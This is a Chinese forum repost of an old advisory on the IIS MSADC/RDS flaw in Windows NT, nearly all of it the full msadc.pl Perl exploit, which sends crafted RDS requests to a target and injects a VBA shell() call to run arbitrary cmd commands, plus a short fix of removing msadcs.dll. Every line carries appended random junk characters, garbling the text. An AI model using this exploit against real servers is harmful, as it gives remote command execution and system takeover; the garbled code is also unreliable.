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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ,U<Ku*}B  
`zep`j&8^  
涉及程序: E!Ng=}G&_  
Microsoft NT server P- vA.7  
2QBtwlQ?[  
描述: .b]oB_  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 b< [eBXe  
fnXl60C%  
详细: sH&8"5BT%  
如果你没有时间读详细内容的话,就删除: 0 TS:o/{(a  
c:\Program Files\Common Files\System\Msadc\msadcs.dll bUqO.FZ[  
有关的安全问题就没有了。 AV8TP-Ls+  
*:d_~B?Tn  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 :A 1,3g  
`rs1!ZJ,  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 tPp }/a%D  
关于利用ODBC远程漏洞的描述,请参看: +osY iP5  
>#8`Zy:/Y  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1 9)78kV{  
Q!|71{5U  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 / Sp+MB9  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 16aaIK  
!BQ!] u  
这里不再论述。 ;eA~z"g  
j}ruXg  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: vhUuf+P*  
(d!vm\-PH  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset >|rL0  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ")o.x7~N  
$iF7hyZ  
9r)5d&,6  
#将下面这段保存为txt文件,然后: "perl -x 文件名" |]B]0J#_  
$~9U-B\  
#!perl k}<mmKB  
# U O[p   
# MSADC/RDS 'usage' (aka exploit) script m<076O4|`  
# [Zua7&(5  
# by rain.forest.puppy D@W m-  
# KztF#[64W^  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me +B&FZ4'  
# beta test and find errors! G-:DMjvN  
S63L>p|ml  
use Socket; use Getopt::Std; 9GQTe1[t4  
getopts("e:vd:h:XR", \%args); 82w< q(  
k5PzY!N  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Dk7"#q@kx  
mV'd9(s?  
if (!defined $args{h} && !defined $args{R}) { SE/@li  
print qq~ xbmOch}j6  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 2OZdj  
-h <host> = host you want to scan (ip or domain) ;j52a8uE'}  
-d <seconds> = delay between calls, default 1 second p4el9O&-tV  
-X = dump Index Server path table, if available 2<J82(4j  
-v = verbose M.l;!U!}  
-e = external dictionary file for step 5 Ao]F_hZ  
3Y r   
Or a -R will resume a command session e~}+.B0  
^7_<rs   
~; exit;} 'i@Y #F%D  
>MhkNy  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; \ oL+O|  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} "fmJ;W;#1  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} lc/2!:g  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); |X_yL3`Zb  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} @%jzVF7  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ksK lw_%o  
).vdKNzw  
if (!defined $args{R}){ $ret = &has_msadc; D/giM#"  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ,*bxNs'/  
j5RM S V  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" g|T' oK  
. "cmd /c "; *k=}g][?  
$in=<STDIN>; chomp $in; #}vcffgZ  
$command="cmd /c " . $in ; Cf10 ud   
BzgDhDj  
if (defined $args{R}) {&load; exit;} ?Dfgyz  
*X)OdU  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; g"#+U7O  
&try_btcustmr; h.8J6;36  
G[wa,j^hu  
print "\nStep 2: Trying to make our own DSN..."; 3 Zbvf^  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ]IoS-)$Z/  
V&f3>#n\  
print "\nStep 3: Trying known DSNs..."; sB"]R%`_  
&known_dsn; Fs=nAn#  
IYj-cm  
print "\nStep 4: Trying known .mdbs..."; 9:esj{X  
&known_mdb; 4e5Ka{# <  
00 $W>Gr  
if (defined $args{e}){ k r/[|.bq  
print "\nStep 5: Trying dictionary of DSN names..."; CE+\|5u W  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } c8u&ev.U  
jy1*E3vQ  
print "Sorry Charley...maybe next time?\n"; w)}[)}T!  
exit; %iX +"  
8 {QvB"w  
############################################################################## /Db~-$K  
c5]1aFKz  
sub sendraw { # ripped and modded from whisker S]9xqiJW  
sleep($delay); # it's a DoS on the server! At least on mine... 7zNyH(.  
my ($pstr)=@_; @ 8SYV}0H  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || x2nNkd0h  
die("Socket problems\n"); 1ITa6vjS  
if(connect(S,pack "SnA4x8",2,80,$target)){ _ Fer-nQ2R  
select(S); $|=1; a u#IA  
print $pstr; my @in=<S>; %f>V\z_C  
select(STDOUT); close(S); hio{: (  
return @in; "? R$9i  
} else { die("Can't connect...\n"); }} 6x.#K9@q4  
B,A/ -B\  
############################################################################## L1J"_.=P  
LUCpZ3F1  
sub make_header { # make the HTTP request :0vNg:u+  
my $msadc=<<EOT . Bv;Zv  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 3<'n>'  
User-Agent: ACTIVEDATA |w:\fK[  
Host: $ip ho0T$hB  
Content-Length: $clen bS0LjvY9g  
Connection: Keep-Alive >uI|S  
Kj}}O2  
ADCClientVersion:01.06 3 8f9jF%7j  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 dM$]OAT  
_E?(cWC  
--!ADM!ROX!YOUR!WORLD! "V^(i%E;  
Content-Type: application/x-varg gjwp' GN  
Content-Length: $reqlen .m4K ]^m  
dvUJk<;w  
EOT jd$lu^>I  
; $msadc=~s/\n/\r\n/g; Iw48+krm>  
return $msadc;} {Ynr(J.  
N7[i443a  
############################################################################## J\Se wg9  
0/),ylCj  
sub make_req { # make the RDS request WJhI6lu  
my ($switch, $p1, $p2)=@_; 0chBw~@*s  
my $req=""; my $t1, $t2, $query, $dsn; d*!,McBn  
`s.y!(`q  
if ($switch==1){ # this is the btcustmr.mdb query W>h[aVTO  
$query="Select * from Customers where City=" . make_shell(); 6r^(VT  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 2avSsN{^  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} =>ignoeI  
zfv l<"Rv  
elsif ($switch==2){ # this is general make table query uWgY+T  
$query="create table AZZ (B int, C varchar(10))"; <oO^ w&G  
$dsn="$p1";} i)eub`uMy  
}7UE  
elsif ($switch==3){ # this is general exploit table query 7kj#3(e  
$query="select * from AZZ where C=" . make_shell(); sl`\g1<{`  
$dsn="$p1";} )<!y_;$A  
qQ^]z8g6P  
elsif ($switch==4){ # attempt to hork file info from index server obY5taOw  
$query="select path from scope()"; 3"cAwU9  
$dsn="Provider=MSIDXS;";} yht_*7.lM  
;i\i+:=  
elsif ($switch==5){ # bad query 9.>v ;:vL  
$query="select"; c7sW:Yzil  
$dsn="$p1";} T?Hs_u{  
/}(w{6C  
$t1= make_unicode($query); 5{j1<4zxR  
$t2= make_unicode($dsn); 5a_1x|Fhi  
$req = "\x02\x00\x03\x00"; &i6WVNGy  
$req.= "\x08\x00" . pack ("S1", length($t1)); z0doL b^!  
$req.= "\x00\x00" . $t1 ; Xul<,U~w6  
$req.= "\x08\x00" . pack ("S1", length($t2)); c"6<p5j!  
$req.= "\x00\x00" . $t2 ; ,7<5dIdZ  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ECQ>VeP  
return $req;} #_|6yo}  
bT0CQ_g21  
############################################################################## L`3 g5)V  
Fvl_5l  
sub make_shell { # this makes the shell() statement h=?#D0  
return "'|shell(\"$command\")|'";} P>Pw;[b>O  
"1WwSh}Z  
############################################################################## iVwI}%k  
v2/@Pu!kg  
sub make_unicode { # quick little function to convert to unicode \za 0?b  
my ($in)=@_; my $out; {rf.sN~M  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } P^T]Ubv"  
return $out;} [3}m|W<  
w%KU@$  
############################################################################## 8<{)|GoqB  
2E;UHR  
sub rdo_success { # checks for RDO return success (this is kludge) QS\H[?M$  
my (@in) = @_; my $base=content_start(@in); lN -vFna  
if($in[$base]=~/multipart\/mixed/){ dXg.[|S*  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} #2^eGhwnI  
return 0;} { ZrIA+eH  
XE6sFU  
############################################################################## !EB<e5}8wK  
33:{IV;k  
sub make_dsn { # this makes a DSN for us *QH@c3vUe\  
my @drives=("c","d","e","f"); $~W =)f9  
print "\nMaking DSN: "; (_Ph{IN  
foreach $drive (@drives) { h/?$~OD  
print "$drive: "; )O;6S$z9Y  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . I!Z=3 $,  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 6QO[!^lY  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 62)Qr  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; "}fJ 2G3  
return 0 if $2 eq "404"; # not found/doesn't exist 4L)#ku$jW  
if($2 eq "200") { Dc-v`jZ@)  
foreach $line (@results) { }Vjg>"  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 6&xpS9  
} return 0;} AAuH}W>n  
gc,%A'OR^<  
############################################################################## =#L\fe)q)  
40h  
sub verify_exists { ,yf2kU  
my ($page)=@_; r9sq3z|%  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ,58XLu  
return $results[0];} #$n >+ lc  
@-zL"%%dw'  
############################################################################## _?~EWT   
%'o'Kh''=  
sub try_btcustmr { GW{e"b/x  
my @drives=("c","d","e","f"); S,0h &A9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 8/gA]I 6=#  
}ZqnsLu[)  
foreach $dir (@dirs) { l;7T.2J'Z  
print "$dir -> "; # fun status so you can see progress W?TvdeBx  
foreach $drive (@drives) { -<0xS.^  
print "$drive: "; # ditto h8XoF1wuw  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; TF_wT28AU2  
$reqlenlen=length( "$reqlen" ); "~2SHM@q  
$clen= 206 + $reqlenlen + $reqlen; ;}B6`v  
@V}!elV  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); FHbyL\Q  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} aoUz_7  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 3le$0f:O  
2p %j@O  
############################################################################## h~`^H9?M  
mE"(d*fe'  
sub odbc_error { A'6-E{  
my (@in)=@_; my $base; 7?@ -|{  
my $base = content_start(@in); 0<FT=tKm  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this .+) AeGh  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `eEiSf  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4|/}~9/  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~e<^jhpJ  
return $in[$base+4].$in[$base+5].$in[$base+6];} <sTY<iVR  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";  MFyi#nq  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 'ws@I?!r  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} W"!{f  
#;0F-pt  
############################################################################## @rP#ktz]  
laRn![[  
sub verbose { s5\<D7  
my ($in)=@_; ~K@p`CRbV  
return if !$verbose; NOSL b];  
print STDOUT "\n$in\n";} :sX4hZK =G  
zDf96eK  
############################################################################## cO8yu`4!e  
BU<Qp$ &  
sub save { z2iWr  
my ($p1, $p2, $p3, $p4)=@_; 14`S9SL{V  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; #Xk/<It  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 1* ?XI  
close OUT;} g;~$xXn  
SaOOD-u  
############################################################################## 9^CuSj  
%O9P|04]3  
sub load { |RH^|2:x9Q  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; DfjDw/{U3L  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); d@? zCFD  
@p=<IN>; close(IN); O[8wF86R  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);  _ 'K6S  
$target= inet_aton($ip) || die("inet_aton problems"); \I7&F82e  
print "Resuming to $ip ..."; <u  ImZC  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;  z $iI  
if($p[1]==1) { 79 \SbB  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; h ^Wm03w  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; :j[=   
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); -n:;/ere7-  
if (rdo_success(@results)){print "Success!\n";} WM0-F@_  
else { print "failed\n"; verbose(odbc_error(@results));}} WtlLqD!_D  
elsif ($p[1]==3){ h^f?rWD:nz  
if(run_query("$p[3]")){ zUA -  
print "Success!\n";} else { print "failed\n"; }} %~\I*v04  
elsif ($p[1]==4){ :cA8[!  
if(run_query($drvst . "$p[3]")){  Cy5M0{  
print "Success!\n"; } else { print "failed\n"; }} ] V,#>'  
exit;} nFjaV`6`@  
RijFN.s  
############################################################################## L4<=,}KS  
r@CbhD  
sub create_table { @Ll^ze&HI  
my ($in)=@_; dF^`6-K1  
$reqlen=length( make_req(2,$in,"") ) - 28; E8.1jCL>{"  
$reqlenlen=length( "$reqlen" ); JD ~]aoH  
$clen= 206 + $reqlenlen + $reqlen; IIAm"=*  
my @results=sendraw(make_header() . make_req(2,$in,"")); Me-H'Mp~  
return 1 if rdo_success(@results); #U6~U6@  
my $temp= odbc_error(@results); verbose($temp); iwfH~  
return 1 if $temp=~/Table 'AZZ' already exists/; lGEfI&1%!  
return 0;} FXbalQ?^  
rs@qC>_C0  
############################################################################## mpzm6I eu  
[?n}?0  
sub known_dsn { Cp]q>lM"  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go :&m0eZZ%  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", qbo W<W<H1  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 6z5?9I4[  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 6~Y`<#X5J  
cK t8e^P  
foreach $dSn (@dsns) { 8'0KHn{#  
print "."; << aAYkx <  
next if (!is_access("DSN=$dSn")); /&RS+By(i  
if(create_table("DSN=$dSn")){ Gx-tPW}  
print "$dSn successful\n"; ^%x7:  
if(run_query("DSN=$dSn")){ A w)P%r  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { l_ycB%2e^  
print "Something's borked. Use verbose next time\n";}}} print "\n";} G=>LW1E|  
HNV"'p;  
############################################################################## sX]ru^F3  
I< Rai"  
sub is_access { FhMl+Ou  
my ($in)=@_; $c24lJ#/  
$reqlen=length( make_req(5,$in,"") ) - 28; -42jeJS  
$reqlenlen=length( "$reqlen" ); 5OX5\#Ux  
$clen= 206 + $reqlenlen + $reqlen; vLh,dzuo  
my @results=sendraw(make_header() . make_req(5,$in,"")); 3o^  oq  
my $temp= odbc_error(@results); \Zo xJ&  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); oW8 hC  
return 0;} fQ~YBFhlr  
lof}isOz  
############################################################################## t 5  
' Y.s}Duj  
sub run_query { T\o!^|8  
my ($in)=@_; =j!Ruy1  
$reqlen=length( make_req(3,$in,"") ) - 28; BW%"]J  
$reqlenlen=length( "$reqlen" ); X&({`Uw<K  
$clen= 206 + $reqlenlen + $reqlen; D[R<H((  
my @results=sendraw(make_header() . make_req(3,$in,"")); (Y?" L_pC  
return 1 if rdo_success(@results); yX;v   
my $temp= odbc_error(@results); verbose($temp); NQhlb"Ix  
return 0;} kDr0D$iE  
K~aI Y0=<  
############################################################################## m' suAj0  
;&G8e* bM2  
sub known_mdb { oyY0!w,Y  
my @drives=("c","d","e","f","g"); xt"GO  b  
my @dirs=("winnt","winnt35","winnt351","win","windows"); X?Mc"M  
my $dir, $drive, $mdb; 5x; y{qT  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; JOJ? .H&su  
e6WKZ~ v o  
# this is sparse, because I don't know of many &GH ,is  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 0`dMT>&I  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", -964#>n[  
"\\system32\\certmdb.mdb", =~~Y@eX  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% zg83->[  
, *A',  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", _P*<T6\J>  
"\\cfusion\\cfapps\\forums\\forums_.mdb", -(fvb  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", QcDWVM'v  
"\\cfusion\\cfapps\\security\\realm_.mdb", 1Q ^YaHzuW  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", |4s`;4c&  
"\\cfusion\\database\\cfexamples.mdb", \#; -C<[b  
"\\cfusion\\database\\cfsnippets.mdb", ;/8oP ;X2  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", RuHMD"  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", *n=NBkq%/!  
"\\cfusion\\brighttiger\\database\\cleam.mdb", DdL0MGwX  
"\\cfusion\\database\\smpolicy.mdb", Z'~yUo=  
"\\cfusion\\database\cypress.mdb", yprf `D>  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", s]=s|  
"\\website\\cgi-win\\dbsample.mdb", PDnwaK   
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", {D jz']  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" t%n3~i4X:  
); #these are just .V?i3  
foreach $drive (@drives) { D{aN_0mT  
foreach $dir (@dirs){ /v1Rn*VF!  
foreach $mdb (@sysmdbs) { &1DU]|RoT&  
print "."; "gD)Uis  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ,afh]#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Dm1;mRS+  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ I4Ys ,n  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ':fq  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 4 }l,F  
&r6VF/  
foreach $drive (@drives) { k@eU #c5c  
foreach $mdb (@mdbs) { 1CiK&fQ'  
print "."; c%aY6dQG&%  
if(create_table($drv . $drive . $dir . $mdb)){ mACj>0Z'  
print "\n" . $drive . $dir . $mdb . " successful\n"; 8}0W_CU,  
if(run_query($drv . $drive . $dir . $mdb)){ p AzPi  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 9tVA.:FOZ  
} else { print "Something's borked. Use verbose next time\n"; }}}} >Rw[x  
} RpE69:~PV  
Z4Nl{  6  
############################################################################## &WIiw$@  
`?Yh`P0  
sub hork_idx {  t]Xdzy  
print "\nAttempting to dump Index Server tables...\n"; v ?)-KtX|  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; TE4{W4I  
$reqlen=length( make_req(4,"","") ) - 28; U3 e3  
$reqlenlen=length( "$reqlen" ); .N99=%[}h  
$clen= 206 + $reqlenlen + $reqlen; Z@=1-l  
my @results=sendraw2(make_header() . make_req(4,"","")); zxtx~XO  
if (rdo_success(@results)){ 0+0+%#?  
my $max=@results; my $c; my %d; <LDVO'I0 !  
for($c=19; $c<$max; $c++){ ln7{c #lE  
$results[$c]=~s/\x00//g; h5&l#>8&  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;  M SU|T  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; DD\:glo  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; dF*@G/p>V  
$d{"$1$2"}="";} uYlC*z{  
foreach $c (keys %d){ print "$c\n"; } |A0LYKni  
} else {print "Index server doesn't seem to be installed.\n"; }} FW:x XK  
2JZf@x+}  
############################################################################## >C~-*M9  
&}S#6|[i  
sub dsn_dict { "#2z 'J  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); *ta ``q  
while(<IN>){ +qe!KPk2  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Uu{I4ls6B  
next if (!is_access("DSN=$dSn")); a&~d,vC  
if(create_table("DSN=$dSn")){ Ns2M8  
print "$dSn successful\n"; 8*3<Erv  
if(run_query("DSN=$dSn")){ }.Ht=E]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [Z|R-{"  
print "Something's borked. Use verbose next time\n";}}} "W;Gv I  
print "\n"; close(IN);} [!4p5;  
jEsP: H(0^  
############################################################################## Tm5]M$)  
}3F8[Td.~N  
sub sendraw2 { # ripped and modded from whisker @ 9D, f  
sleep($delay); # it's a DoS on the server! At least on mine... " 4#V$V  
my ($pstr)=@_; 1+RG@Cp  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <\GP\G  
die("Socket problems\n"); D)XF@z;  
if(connect(S,pack "SnA4x8",2,80,$target)){ Iodk1Y;  
print "Connected. Getting data"; >S3iP?V7  
open(OUT,">raw.out"); my @in; q' 77BRD3  
select(S); $|=1; print $pstr; f8kPbpV,  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} _Iy0-=G  
close(OUT); select(STDOUT); close(S); return @in; BB5(=n+  
} else { die("Can't connect...\n"); }} -l<b|`s=w.  
>4`("#  
############################################################################## $Zp\^cIE+  
%mPIr4$Pg  
sub content_start { # this will take in the server headers .}S9C]d:a  
my (@in)=@_; my $c; x2 /\%!mt  
for ($c=1;$c<500;$c++) { | ?3\xw  
if($in[$c] =~/^\x0d\x0a/){ PXG)?`^NX  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } DcA{E8Y  
else { return $c+1; }}} ik)T>rYg0  
return -1;} # it should never get here actually Tz3 L#0:j  
]#;;)K}>  
############################################################################## FjqoO.  
g-"@%ps  
sub funky { Yo3my>N&g  
my (@in)=@_; my $error=odbc_error(@in); wUj[c7Y%  
if($error=~/ADO could not find the specified provider/){ )WavG1  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; A#$oY{"2Y  
exit;} ec+&K?T  
if($error=~/A Handler is required/){ #qY`xH'>  
print "\nServer has custom handler filters (they most likely are patched)\n"; .dX ^3  
exit;} }Tf~)x  
if($error=~/specified Handler has denied Access/){ -/rP0h5#  
print "\nServer has custom handler filters (they most likely are patched)\n"; kx0(v1y3gT  
exit;}} ;rZR9fR  
~kPHf_B;z  
############################################################################## :,%~R2  
p A7&  
sub has_msadc { ;"46H'>!  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); VA + ?xk  
my $base=content_start(@results); <5(P4cm9  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); _K["qm{X_  
return 0;} wm~35cF(  
`~0)}K.F  
########################  #v+ 2W  
V .+ mK|)  
cB#5LXbCE  
解决方案: RQhS]y@e  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll v&Xsyb0CaM  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 %S*<2F9  
C:z+8wt  
拿出来充数 哈哈
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